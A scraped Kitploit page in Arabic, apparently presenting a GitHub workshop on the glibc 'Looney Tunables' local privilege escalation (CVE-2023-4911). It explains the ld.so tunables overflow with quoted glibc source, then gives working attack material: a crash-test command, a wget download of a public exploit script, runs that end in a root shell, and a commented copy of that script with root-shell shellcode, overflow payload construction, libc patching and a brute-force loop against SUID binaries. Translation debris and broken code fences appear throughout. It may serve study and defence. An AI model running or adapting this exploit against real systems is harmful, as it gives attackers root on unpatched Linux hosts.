Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2023-4911 — ورشة عمل Looney Tunables لتصعيد الامتيازات المحلية (CVE-2023-4911) | Kitploit
أدوات/GitHubGitHub/kernelkrise/cve-2023-4911
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالالتعلم والتعليماستغلال الملفات الثنائيةمختبرات وتدريب عمليArchived
GitHubkernelkrise/cve-2023-4911

CVE-2023-4911

ورشة عمل Looney Tunables لتصعيد الامتيازات المحلية (CVE-2023-4911)

عرض المستودع
183منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2023-4911-Looney-Tunables

ورشة عمل Looney Tunables لتصعيد الصلاحيات المحلية (CVE-2023-4911) (لأغراض تعليمية فقط)

روابط:

  • فيديو IPPSEC
  • مقالة مدونة Qualsys
  • تفاصيل تقنية من Qualsys
  • سكربت بايثون لاستغلال POC
  • مصادر GLIBC
  • توثيق tunables في GLIBC

الوصف

ما هو ld.so؟

في الحوسبة، الموصِّل الديناميكي هو الجزء من نظام التشغيل الذي يقوم بتحميل وربط المكتبات المشتركة التي يحتاجها الملف القابل للتنفيذ عند تشغيله، عن طريق نسخ محتوى المكتبات من وحدة التخزين الدائمة إلى الذاكرة العشوائية (RAM)، وملء جداول القفز وإعادة توجيه المؤشرات.

على سبيل المثال، لدينا برنامج يستخدم مكتبة openssl لحساب تجزئة md5:``` $ head md5_hash.c #include <stdio.h> #include <string.h> #include <openssl/md5.h>

root@kitploit:~
ld.so يحلل الملف الثنائي ويحاول العثور على مكتبة مرتبطة بـ <openssl/md5.h>```
$ ldd md5_hash                       
        linux-vdso.so.1 (0x00007fffa530b000)
        libcrypto.so.3 => /lib/x86_64-linux-gnu/libcrypto.so.3 (0x00007f19cda00000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f19cd81e000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f19ce032000)

كما نرى، يعثر على مكتبة التشفير اللازمة في /lib/x86_64-linux-gnu/libcrypto.so.3 أثناء بدء تشغيل البرنامج، يضع رمز هذه المكتبة في ذاكرة العملية ويربط جميع المراجع إلى هذه المكتبة.

ملخص

عند بدء تشغيل البرنامج، يفحص هذا المُحمّل أولاً البرنامج لتحديد المكتبات المشتركة التي يتطلبها. ثم يبحث عن هذه المكتبات، ويحمّلها في الذاكرة، ويربطها بالملف التنفيذي في وقت التشغيل. وفي هذه العملية، يحل المُحمّل الديناميكي مراجع الرموز، مثل مراجع الدوال والمتغيرات، مما يضمن تجهيز كل شيء لتنفيذ البرنامج. ونظراً لدوره، يُعد المُحمّل الديناميكي شديد الحساسية من ناحية الأمان، إذ يعمل كوده بصلاحيات مرتفعة عندما يشغّل مستخدم محلي برنامجاً بمعرّف مستخدم أو معرّف مجموعة مضبوطاً.

ما هي GLIBC Tunables؟

Tunables هي ميزة في مكتبة GNU C تتيح لمؤلفي التطبيقات والقائمين على صيانة التوزيعات تغيير سلوك مكتبة التشغيل ليتناسب مع عبء العمل لديهم. ويتم تنفيذها كمجموعة من المفاتيح التي يمكن تعديلها بطرق مختلفة. الطريقة الافتراضية الحالية للقيام بذلك هي عبر متغير البيئة GLIBC_TUNABLES عن طريق تعيينه إلى سلسلة من أزواج name=value مفصولة بنقطتين رأسيتين. على سبيل المثال، المثال التالي يفعّل فحص malloc ويضبط عتبة اقتطاع malloc على 128 بايت:``` GLIBC_TUNABLES=glibc.malloc.trim_threshold=128:glibc.malloc.check=3 export GLIBC_TUNABLES

root@kitploit:~
تمرير --list-tunables إلى المُحمِّل الديناميكي لطباعة جميع الخيارات القابلة للضبط مع القيم الدنيا والقصوى:```
$ /lib64/ld-linux-x86-64.so.2 --list-tunables
glibc.rtld.nns: 0x4 (min: 0x1, max: 0x10)
glibc.elision.skip_lock_after_retries: 3 (min: 0, max: 2147483647)
glibc.malloc.trim_threshold: 0x0 (min: 0x0, max: 0xffffffffffffffff)
glibc.malloc.perturb: 0 (min: 0, max: 255)
glibc.cpu.x86_shared_cache_size: 0x100000 (min: 0x0, max: 0xffffffffffffffff)
glibc.pthread.rseq: 1 (min: 0, max: 1)
glibc.cpu.prefer_map_32bit_exec: 0 (min: 0, max: 1)
glibc.mem.tagging: 0 (min: 0, max: 255)

وصف الثغرة

في بداية تنفيذه مباشرةً، يستدعي ld.so الدالة __tunables_init() لاجتياز البيئة (في السطر 279)، بحثًا عن متغيرات GLIBC_TUNABLES (في السطر 282)؛ ولكل GLIBC_TUNABLES يعثر عليه، يقوم بنسخ هذا المتغير (في السطر 284)، ثم يستدعي parse_tunables() لمعالجة هذه النسخة وتنقيتها (في السطر 286)، وأخيرًا يستبدل GLIBC_TUNABLES الأصلي بهذه النسخة المنقّاة (في السطر 288):```C // (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c) 269 void 270 __tunables_init (char **envp) 271 { 272 char *envname = NULL; 273 char *envval = NULL; 274 size_t len = 0; 275 char **prev_envp = envp; ... 279 while ((envp = get_next_env (envp, &envname, &len, &envval, 280 &prev_envp)) != NULL) 281 { 282 if (tunable_is_name ("GLIBC_TUNABLES", envname)) // searching for GLIBC_TUNABLES variables 283 { 284 char new_env = tunables_strdup (envname); 285 if (new_env != NULL) 286 parse_tunables (new_env + len + 1, envval); // 287 / Put in the updated envval. */ 288 *prev_envp = new_env; 289 continue; 290 }

root@kitploit:~
الوسيطة الأولى لدالة parse_tunables() (tunestr) تشير إلى النسخة التي سيتم تعقيمها قريبًا من GLIBC_TUNABLES، بينما تشير الوسيطة الثانية (valstring) إلى متغير البيئة الأصلي GLIBC_TUNABLES (في المكدس). لتعقيم نسخة GLIBC_TUNABLES (والتي يجب أن تكون بالشكل "tunable1=`aaa:tunable2=bbb"`), تزيل parse_tunables() جميع الـ tunables الخطرة (أي tunables SXID_ERASE) من tunestr، مع الإبقاء على tunables SXID_IGNORE وNONE (في الأسطر 221-235):```C
// (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c)
162 static void
163 parse_tunables (char *tunestr, char *valstring)
164 {
...
168   char *p = tunestr;
169   size_t off = 0;
170 
171   while (true)
172     {
173       char *name = p;
174       size_t len = 0;
175 
176       /* First, find where the name ends.  */
177       while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
178         len++;
179 
180       /* If we reach the end of the string before getting a valid name-value
181          pair, bail out.  */
182       if (p[len] == '\0')
183         {
184           if (__libc_enable_secure)
185             tunestr[off] = '\0';
186           return;
187         }
188 
189       /* We did not find a valid name-value pair before encountering the
190          colon.  */
191       if (p[len]== ':')
192         {
193           p += len + 1;
194           continue;
195         }
196 
197       p += len + 1;
198 
199       /* Take the value from the valstring since we need to NULL terminate it.  */
200       char *value = &valstring[p - tunestr];
201       len = 0;
202 
203       while (p[len] != ':' && p[len] != '\0')
204         len++;
205 
206       /* Add the tunable if it exists.  */
207       for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
208         {
209           tunable_t *cur = &tunable_list[i];
210 
211           if (tunable_is_name (cur->name, name))
212             {
...
219               if (__libc_enable_secure)
220                 {
221                   if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
222                     {
223                       if (off > 0)
224                         tunestr[off++] = ':';
225 
226                       const char *n = cur->name;
227 
228                       while (*n != '\0')
229                         tunestr[off++] = *n++;
230 
231                       tunestr[off++] = '=';
232 
233                       for (size_t j = 0; j < len; j++)
234                         tunestr[off++] = value[j];
235                     }
236 
237                   if (cur->security_level != TUNABLE_SECLEVEL_NONE)
238                     break;
239                 }
240 
241               value[len] = '\0';
242               tunable_initialize (cur, value);
243               break;
244             }
245         }
246 
247       if (p[len] != '\0')
248         p += len + 1;
249     }
250 }

لسوء الحظ، إذا كان متغير البيئة GLIBC_TUNABLES بالشكل "tunable1=tunable2=AAA" (حيث "tunable1" و"tunable2" هما وحدتا ضبط من نوع SXID_IGNORE، على سبيل المثال "glibc.malloc.mxfast")، فإن:

  • أثناء التكرار الأول لـ "while (true)" في parse_tunables()، يتم نسخ السلسلة بأكملها "tunable1=tunable2=AAA" في مكانها إلى tunestr (في الأسطر 221-235)، مما يملأ tunestr؛

  • في الأسطر 247-248، لا يتم زيادة p (p[len] هو '\0' لأنه لم يتم العثور على : في الأسطر 203-204) وبالتالي لا تزال p تشير إلى قيمة "tunable1"، أي "tunable2=AAA"؛

  • أثناء التكرار الثاني لـ "while (true)" في parse_tunables()، يتم إلحاق (كما لو كانت وحدة ضبط ثانية) إلى (الممتلئ بالفعل)، مما يسبب تجاوز سعة .

PoC

الأمر:```bash $ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=printf '%08192x' 1" /usr/bin/su --help Segmentation fault (core dumped)

root@kitploit:~
الحمولة:```
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A Z=000000000000000000000000000000000000000000000000000000000000000000000000000000000000<SNIP>00000000000000000001

الاستغلال

هذه الثغرة عبارة عن تجاوز سعة مخزن مؤقت مباشر، ولكن ما الذي يجب أن نستبدله لتحقيق تنفيذ تعليمات برمجية عشوائية؟ المخزن المؤقت الذي نفيضه يتم تخصيصه في السطر 284 بواسطة tunables_strdup()، وهي إعادة تنفيذ لـ strdup() تستخدم __minimal_malloc() الخاص بـ ld.so بدلاً من malloc() الخاص بـ glibc (في الواقع، لم تتم تهيئة malloc() الخاص بـ glibc بعد). تنفيذ __minimal_malloc() هذا ببساطة يستدعي mmap() للحصول على ذاكرة إضافية من النواة.

دعونا نلقي نظرة على هذا الكود:```C 56 struct link_map * 57 _dl_new_object (char *realname, const char *libname, int type, 58 struct link_map *loader, int mode, Lmid_t nsid) 59 { .. 84 struct link_map *new; 85 struct libname_list *newname; .. 92 new = (struct link_map *) calloc (sizeof (*new) + audit_space 93 + sizeof (struct link_map *) 94 + sizeof (*newname) + libname_len, 1); 95 if (new == NULL) 96 return NULL; 97 98 new->l_real = new; 99 new->l_symbolic_searchlist.r_list = (struct link_map **) ((char *) (new + 1) 100 + audit_space); 101 102 new->l_libname = newname 103 = (struct libname_list *) (new->l_symbolic_searchlist.r_list + 1); 104 newname->name = (char ) memcpy (newname + 1, libname, libname_len); 105 / newname->next = NULL; We use calloc therefore not necessary. */

root@kitploit:~
##### استبدال مؤشرات بنية link_map التي سيتم تخصيصها قريبًا
> يقوم ld.so بتخصيص الذاكرة لبنية link_map هذه باستخدام calloc()، وبالتالي لا يقوم بتهيئة العديد من أعضائها صراحةً إلى الصفر؛ وهذا تحسين معقول. وكما ذُكر سابقًا، فإن calloc() هنا ليست calloc() الخاصة بـ glibc بل هي __minimal_calloc() الخاصة بـ ld.so، والتي تستدعي __minimal_malloc() *دون* تهيئة الذاكرة التي تُرجعها إلى الصفر بشكل صريح؛ وهذا أيضًا تحسين معقول، لأنه ولجميع المقاصد والأغراض تقوم __minimal_malloc() دائمًا بإرجاع كتلة نظيفة من الذاكرة المعيّنة عبر mmap()، والتي يضمن النواة تهيئتها إلى الصفر.
>
> لسوء الحظ، فإن تجاوز سعة المخزن المؤقت في parse_tunables() يسمح لنا بالكتابة فوق ذاكرة mmap() النظيفة ببايتات غير صفرية، وبالتالي استبدال مؤشرات بنية link_map التي سيتم تخصيصها قريبًا بقيم غير NULL. وهذا يسمح لنا بكسر منطق ld.so تمامًا، الذي يفترض أن هذه المؤشرات NULL.

#### فكرة تجاوز الحماية
> لقد أدركنا أن العديد من المؤشرات في بنية link_map لا تتم تهيئتها صراحةً إلى NULL؛ ولا سيما المؤشرات إلى بنى Elf64_Dyn في مصفوفة المؤشرات l_info[]. ومن بين هذه المؤشرات، برز `l_info[DT_RPATH]`، وهو "مسار بحث المكتبات"، على الفور: إذا قمنا باستبدال هذا المؤشر والتحكم في مكانه وما يشير إليه، فيمكننا إجبار ld.so على الوثوق بدليل نملكه، وبالتالي تحميل libc.so.6 الخاصة بنا أو مكتبة LD_PRELOAD من هذا الدليل، وتنفيذ كود عشوائي (بصلاحية الجذر، إذا قمنا بتشغيل ld.so عبر برنامج SUID-root).

> أين يجب أن يشير `l_info[DT_RPATH]` المستبدل؟ الجواب السهل على هذا السؤال هو: المكدس؛ وبشكل أكثر دقة، سلاسل البيئة الخاصة بنا في المكدس. على لينكس، يتم ترتيب المكدس عشوائيًا في منطقة بحجم 16 غيغابايت، ويمكن لسلاسل البيئة الخاصة بنا أن تشغل حتى 6 ميغابايت (_STK_LIM / 4 * 3، في دالة bprm_stack_limits() الخاصة بالنواة): بعد 16GB / 6MB = 2730 محاولة، لدينا فرصة جيدة لتخمين عنوان سلاسل البيئة الخاصة بنا (في استغلالنا، نقوم دائمًا باستبدال `l_info[DT_RPATH]` بـ 0x7ffdfffff010، وهو مركز منطقة المكدس العشوائية). في اختباراتنا، يستغرق هذا الهجوم بالتخمين حوالي 30 ثانية على دبيان، وحوالي 5 دقائق على أوبونتو وفيدورا (بسبب معالجات الانهيار التلقائية فيهما، Apport وABRT؛ لم نحاول التحايل على هذا التباطؤ).

> ما الذي يجب أن يشير إليه `l_info[DT_RPATH]` المستبدل؟ 
> في استغلالنا، نقوم ببساطة بملء سلاسل البيئة البالغة 6 ميغابايت بـ 0xfffffffffffffff8 (-8)، لأنه عند إزاحة -8 بايت أسفل جدول السلاسل في معظم برامج SUID-root، تظهر السلسلة "\x08": وهذا يجبر ld.so على الوثوق بدليل نسبي باسم "\x08" (في دليل العمل الحالي لدينا)، وبالتالي يسمح لنا بتحميل وتنفيذ libc.so.6 الخاصة بنا أو مكتبة LD_PRELOAD من هذا الدليل، بصلاحية الجذر.

المخطط:
<img src="https://assets.kitploit.com/production/public/readmes/37285/2a2a7aefd5313512ebb1ce9163f9c08efeb0c28f90742be80186ba3e3d72db5b.png" width="1000" />
#### بايت "\x08" عند الإزاحة -8 في .DYNSTR:
!["\x08" byte in xxd](https://assets.kitploit.com/production/public/readmes/37285/f7e47c7603cfe523799c8ebc0bf1265caaeb0dcf3924bf92cea7f204127490bf.png)

## إثبات المفهوم (PoC) لتصعيد الامتيازات المحلية (LPE):
أنا أستخدم لقطة كالي لينكس القديمة الخاصة بي لاختبار PoC. لنتحقق مما إذا كانت معرّضة للثغرة:```bash
[~/cve]$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
[1]    7995 segmentation fault  env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A"  /usr/bin/s

حصلنا على SIGSEGV، إذن نظامنا عرضة لهذا CVE LPE!

لنقم بتنزيل سكربت PoC واختباره:``` [~/cve]$ wget -q https://haxx.in/files/gnu-acme.py

[~/cve]$ python3 gnu-acme.py

root@kitploit:~
  $$$ glibc ld.so (CVE-2023-4911) exploit $$$
        -- by blasty <[email protected]> --      

[i] libc = /lib/x86_64-linux-gnu/libc.so.6 [i] suid target = /usr/bin/su, suid_args = ['--help'] [i] ld.so = /lib64/ld-linux-x86-64.so.2 [i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3 [i] __libc_start_main = 0x27700 [i] using hax path b'\x08' at offset -8 [i] wrote patched libc.so.6 error: no target info found for build id e664396d7c25533074698a0695127259dbbf56f3

root@kitploit:~
لذا، معرّف البناء الخاص بـ ld.so ليس في قائمة الأهداف، دعنا نصلح ذلك!
تعطيل ASLR:```bash
[~/cve]$ sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"

تحقق مرة أخرى:``` [~/cve]$ python3 gnu-acme.py

root@kitploit:~
  $$$ glibc ld.so (CVE-2023-4911) exploit $$$
        -- by blasty <[email protected]> --      

[i] libc = /lib/x86_64-linux-gnu/libc.so.6 [i] suid target = /usr/bin/su, suid_args = ['--help'] [i] ld.so = /lib64/ld-linux-x86-64.so.2 [i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3 [i] __libc_start_main = 0x27700 [i] using hax path b'\x08' at offset -8 [i] wrote patched libc.so.6 [i] ASLR is not enabled, attempting to find usable offsets [i] using stack addr 0x7fffffffe10c found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 561 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 562 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 563 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 564 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 565 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 566 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 567 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 568

root@kitploit:~
لذا، يجد سكربت POC الخاص بنا بعض الإزاحات المفيدة، دعنا نضيف معرّف build id الخاص بـ ld.so والإزاحة إلى السكربت:
![مجموعة TARGETS المحددة في الكود](https://assets.kitploit.com/production/public/readmes/37285/3a1ab26b738c731b061b05bd2515afa9cc41b4d23158f37daa27a05d8a86f4ad.png)
استعادة ASLR:```bash
[~/cve]$ sudo bash -c "echo 1 > /proc/sys/kernel/randomize_va_space"

دعنا نجرب سكربت PoC مرة أخرى:``` [~/cve]$ python3 gnu-acme.py

root@kitploit:~
  $$$ glibc ld.so (CVE-2023-4911) exploit $$$
        -- by blasty <[email protected]> --      

[i] libc = /lib/x86_64-linux-gnu/libc.so.6 [i] suid target = /usr/bin/su, suid_args = ['--help'] [i] ld.so = /lib64/ld-linux-x86-64.so.2 [i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3 [i] __libc_start_main = 0x27700 [i] using hax path b'\x08' at offset -8 [i] wrote patched libc.so.6 [i] using stack addr 0x7ffe1010100c .........................................................................................................................................................................................................................................................................................................................................# ** ohh... looks like we got a shell? **

whoami root

id

uid=0(root)

root@kitploit:~
إنه يعمل!

إنه يعمل أيضًا مع ملفات SUID أخرى:```bash
[~/cve]$ find /usr/bin/ -perm -u=s -type f 2>/dev/null
<SNIP>
/usr/bin/mount
<SNIP>

لم يتم تضمين أي محتوى في هذه القطعة (Chunk 33). لا يوجد نص للترجمة.``` [~/cve]$ python3 gnu-acme.py /usr/bin/mount --help

root@kitploit:~
  $$$ glibc ld.so (CVE-2023-4911) exploit $$$
        -- by blasty <[email protected]> --      

[i] libc = /lib/x86_64-linux-gnu/libc.so.6 [i] suid target = /usr/bin/mount, suid_args = ['--help'] [i] ld.so = /lib64/ld-linux-x86-64.so.2 [i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3 [i] __libc_start_main = 0x27700 [i] using hax path b'\x08' at offset -8 [i] wrote patched libc.so.6 [i] using stack addr 0x7ffe10101009 ....................................................................................................................................................................................................................................................................................................................................................................................................................................# ** ohh... looks like we got a shell? **

id uid=0(root)

root@kitploit:~
### إذن، لنلقِ نظرة على سكربت PoC:
في بداية سكربت PoC لدينا قاموس ARCH يحتوي على بعض **معماريات المعالجات** (تركتُ x86_64 فقط لأنني أستخدمها).
في هذا القاموس لدينا:
* "shellcode": لاستدعاء "/bin/sh" بصلاحيات الجذر
* "exitcode": وهو أيضًا shellcode، لكنه ينفّذ exit(0x66)
* "stack_top": وهو أقصى عنوان ممكن للمكدس على x86_64
* "stack_aslr_bits": وهي بتات الإنتروبيا على x86_64 (البتات التي يتم تغييرها بواسطة ASLR)```python
# This code is written by blasty <[email protected]>, I just commented it to figure it out
# ORIGINAL POC SCRIPT -> https://haxx.in/files/gnu-acme.py

import binascii
# <SNIP>
from shutil import which

unhex = lambda v: binascii.unhexlify(v.replace(" ", ""))

ARCH = {
    "x86_64": {
        "shellcode": unhex(
            "31ff6a69580f0531ff6a6a580f056a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05"
        ),  # MODIFIED: context.arch = 'amd64'; asm(shellcraft.setuid(0) + shellcraft.setgid(0) + shellcraft.sh()).hex()
        "exitcode": unhex("6a665f6a3c580f05"),  # asm(shellcraft.exit(0x66)).hex()
        "stack_top": 0x800000000000,
        "stack_aslr_bits": 30,  # https://www.researchgate.net/figure/Comparative-summary-of-bits-of-entropy_tbl3_334618410
    }
}

تفكيك Shellcode```nasm 0: 31 ff xor edi, edi 2: 6a 69 push 0x69 4: 58 pop rax 5: 0f 05 syscall

7: 31 ff xor edi, edi 9: 6a 6a push 0x6a b: 58 pop rax c: 0f 05 syscall

e: 6a 68 push 0x68 10: 48 b8 2f 62 69 6e 2f 2f 2f 73 movabs rax, 0x732f2f2f6e69622f 1a: 50 push rax 1b: 48 89 e7 mov rdi, rsp 1e: 68 72 69 01 01 push 0x1016972 23: 81 34 24 01 01 01 01 xor DWORD PTR [rsp], 0x1010101 2a: 31 f6 xor esi, esi 2c: 56 push rsi 2d: 6a 08 push 0x8 2f: 5e pop rsi 30: 48 01 e6 add rsi, rsp 33: 56 push rsi 34: 48 89 e6 mov rsi, rsp 37: 31 d2 xor edx, edx 39: 6a 3b push 0x3b 3b: 58 pop rax 3c: 0f 05 syscall

root@kitploit:~
Exitcode disassemble```nasm
   0:   6a 66                   push   0x66
   2:   5f                      pop    rdi
   3:   6a 3c                   push   0x3c
   5:   58                      pop    rax
   6:   0f 05                   syscall

بعد ذلك لدينا قاموس يحتوي على الأهداف (معرف بناء ld.so) وإزاحات تجاوز سعة المخزن المؤقت الخاصة بها.```python TARGETS = { "e664396d7c25533074698a0695127259dbbf56f3": 568 }

root@kitploit:~
ثم، هناك الكثير من الدوال التي تحمل أسماءً توضح وظيفتها، ومعظمها يمكن استبداله بطرق من مكتبة pwntools.
لذلك لا أرى جدوى من مناقشتها بالتفصيل، باستثناء بعض منها.```python
# TARGETS[ld_build_id], stack_addr, hax_path["offset"], suid_e.bits
def build_env(adjust, addr, offset, bits=64):  
    # heap meh shui
    if bits == 64:
        env = [  # Actual vulnerability exploit (buffer overflow)
            b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"P" * adjust,
            b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 8,
            b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 7,
            b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"Y" * 24,
        ]

        pad = 172
        fill = 47
    else:
        env = [
            b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"P" * adjust,
            b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 7,
            b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"X" * 14,
        ]

        pad = 87
        fill = 47 * 2

    for j in range(pad):  # fill buffer with NULL bytes to NOT overwrite nothing except what we want
        env.append(b"")

    if bits == 64:  # overwrite l_info[DT_RPATH] pointer with pointer to stack
        env.append(struct.pack("<Q", addr))
        env.append(b"")
    else:
        env.append(struct.pack("<L", addr))

    for i in range(384):   # fill buffer with NULL bytes to NOT overwrite nothing except what we want
        env.append(b"")

    for i in range(fill):  # write a lot of "-8" bytes to stack to force DT_RPATH use offset -8 in .DYNSTR
        if bits == 64:
            env.append(
                struct.pack("<Q", offset & 0xFFFFFFFFFFFFFFFF) * 16382 + b"\xaa" * 7
            )
        else:
            env.append(struct.pack("<L", offset & 0xFFFFFFFF) * 16382 + b"\xaa" * 7)

    env.append(None)
    return env


if __name__ == "__main__":
    banner()  # just print bunner

    machine = os.uname().machine  # uname of machine

    if machine not in ARCH.keys():
        error("architecture '%s' not supported" % machine)

    print("[i] libc = %s" % lib_path("c").decode())  # print libc path

    if len(sys.argv) == 1:  # check if user pass SUID binary as args, if no use "su" binary
        suid_path = which("su")
        suid_args = ["--help"]
    else:
        suid_path = sys.argv[1]
        suid_args = sys.argv[2:]

    lsb = ((0x100 - (len(suid_path) + 1 + 8)) & 7) + 8  # Some value

    print(f"[DEBUG] -> LSB: {lsb}")

    print("[i] suid target = %s, suid_args = %s" % (suid_path, suid_args))  # print suid binary path with args

    suid_e = lazy_elf(suid_path)  # generate lazy_elf object with SUID binary

    ld_path = suid_e.section_by_name(".interp").strip(b"\x00").decode()  # get ld_path from suid binary .interp section

    ld_e = lazy_elf(ld_path)   # generate lazy_elf object with ld.so binary

    print("[i] ld.so = %s" % ld_path)  # print ld.so path

    ld_build_id = binascii.hexlify(  # get ld.so build id from ".note.gnu.build-id" section
        ld_e.section_by_name(".note.gnu.build-id")[-20:]
    ).decode()

    print("[i] ld.so build id = %s" % ld_build_id)  # print ld.so build id

    libc_e = lazy_elf(lib_path("c"))    # generate lazy_elf object with libc.so.6 binary

    __libc_start_main = libc_e.symbol("__libc_start_main")  # find offset of __libc_start_main function in libc

    if __libc_start_main == None:  # if can't find __libc_start_main
        error("could not resolve __libc_start_main")

    print("[i] __libc_start_main = 0x%x" % __libc_start_main)  # print offset of __libc_start_main

    offset = suid_e.shdr_by_name(".dynstr")["offset"]  # Find offset of .dynstr section
    print(f"[DEBUG] -> .DYNSTR offset: {offset}")
    hax_path = find_hax_path(suid_e.d, offset)  # find value and offset in .dynstr to make trusted folder. It will be "\x08" at offset -8 ( [.dynstr - 8] )
    if hax_path is None:  #  error if not find hax
        error("could not find hax path")

    print(  # print hax
        "[i] using hax path %s at offset %d"
        % (
            hax_path["path"],
            hax_path["offset"],
        )
    )

    if not os.path.exists(hax_path["path"]):  # create folder ("\x08" to place libc there later)
        os.mkdir(hax_path["path"])

    argv = build_argv([suid_path] + suid_args)  # just get array of arguments ( ["su", "--help", None] )

    shellcode = (  # get shellcode (to spawn /bin/sh) or get exitcode which returns 0x66 if executed
        ARCH[machine]["shellcode"] if is_aslr_enabled() else ARCH[machine]["exitcode"]
    )

    with open(hax_path["path"] + b"/libc.so.6", "wb") as fh:  # open folder "\x08" and write patched (with shellcode) libc.so.6 there
        fh.write(libc_e.d[0:__libc_start_main])  # all before __libc_start_main
        fh.write(shellcode)  # shellcode
        fh.write(libc_e.d[__libc_start_main + len(shellcode) :])  # all after shellcode
    print("[i] wrote patched libc.so.6")

    if not is_aslr_enabled():  # if ASLR is not enabled
        print("[i] ASLR is not enabled, attempting to find usable offsets")

        stack_addr = ARCH[machine]["stack_top"] - 0x1F00
        stack_addr += lsb

        print("[i] using stack addr 0x%x" % stack_addr)

        for adjust in range(128, 1024):
            env = build_env(adjust, stack_addr, hax_path["offset"], suid_e.bits)
            r = spawn(suid_path.encode(), argv, env)
            if r == 0x66:
                print(
                    "found working offset for ld.so '%s' -> %d" % (ld_build_id, adjust)
                )

    else:
        if ld_build_id not in TARGETS.keys():  # check if ld.so build id in TARGET list (check if we know ofsset to overflow)
            error("no target info found for build id %s" % ld_build_id)

        stack_addr = ARCH[machine]["stack_top"] - (  # calculate minimum address of stack
            1 << (ARCH[machine]["stack_aslr_bits"] - 1)
        )
        # In [11]: hex(1 << 29)
        # Out[11]: '0x20000000'

        # In [12]: hex(0x800000000000 - 0x20000000)
        # Out[12]: '0x7fffe0000000'

        print(f"[DEBUG] -> STACK ADDR: {hex(stack_addr)}")
        stack_addr += lsb
        # avoid NULL bytes in guessy addr (out of sheer laziness really)
        for i in range(6 if suid_e.bits == 64 else 4):  # some calculations to find usable offset in stack
            if (stack_addr >> (i * 8)) & 0xFF == 0:
                stack_addr |= 0x10 << (i * 8)

        print("[i] using stack addr 0x%x" % stack_addr)

        env = build_env(  # create malicious environment variables (with overflow and stack overwrite)
            TARGETS[ld_build_id], stack_addr, hax_path["offset"], suid_e.bits
        )

        # print(f"[DEBUG] -> ENV: {env}")

        cnt = 1
        while True:
            if cnt % 0x10 == 0:  # print "." every 10 executions
                sys.stdout.write(".")
                sys.stdout.flush()
            if spawn(suid_path.encode(), argv, env) == 0x1337:  # spawn process of SUID with malicious environment variables
                print("goodbye. (took %d tries)" % cnt)
                exit(0)
            cnt += 1


جدول يوضح إنتروبيا ASLR على البنى المختلفة: جدول يوضح بتات إنتروبيا ASLR

تنزيل الأداة
"tunable2=AAA"
tunestr
tunestr